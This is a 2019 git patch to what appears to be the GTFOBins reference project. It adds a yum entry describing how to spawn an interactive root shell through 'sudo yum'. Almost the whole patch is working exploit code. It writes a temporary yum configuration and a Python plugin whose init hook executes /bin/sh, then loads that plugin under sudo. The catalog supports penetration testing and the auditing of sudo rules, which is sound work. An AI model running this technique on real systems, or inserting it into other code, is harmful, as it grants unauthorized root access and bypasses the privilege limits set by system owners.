From 3702ec4d5320ec081923fb54531c0b8d44f53859 Mon Sep 17 00:00:00 2001
From: Rich Mirch <mirchr@users.noreply.github.com>
Date: Sat, 6 Apr 2019 15:51:33 -0500
Subject: [PATCH] Update sudo yum by loading a custom plugin (#58)

---
 _gtfobins/yum.md | 26 ++++++++++++++++++++++++++
 1 file changed, 26 insertions(+)

diff --git a/_gtfobins/yum.md b/_gtfobins/yum.md
index d53432c..b1db91c 100644
--- a/_gtfobins/yum.md
+++ b/_gtfobins/yum.md
@@ -10,4 +10,30 @@ functions:
         ```
       code: |
         sudo yum localinstall -y x-1.0-1.noarch.rpm
+    - description: |
+        Spawn interactive root shell by loading a custom plugin.
+      code: |
+        TF=$(mktemp -d)
+        cat >$TF/x<<EOF
+        [main]
+        plugins=1
+        pluginpath=$TF
+        pluginconfpath=$TF
+        EOF
+
+        cat >$TF/y.conf<<EOF
+        [main]
+        enabled=1
+        EOF
+
+        cat >$TF/y.py<<EOF
+        import os
+        import yum
+        from yum.plugins import PluginYumExit, TYPE_CORE, TYPE_INTERACTIVE
+        requires_api_version='2.1'
+        def init_hook(conduit):
+          os.execl('/bin/sh','/bin/sh')
+        EOF
+
+        sudo yum -c $TF/x --enableplugin=y
 ---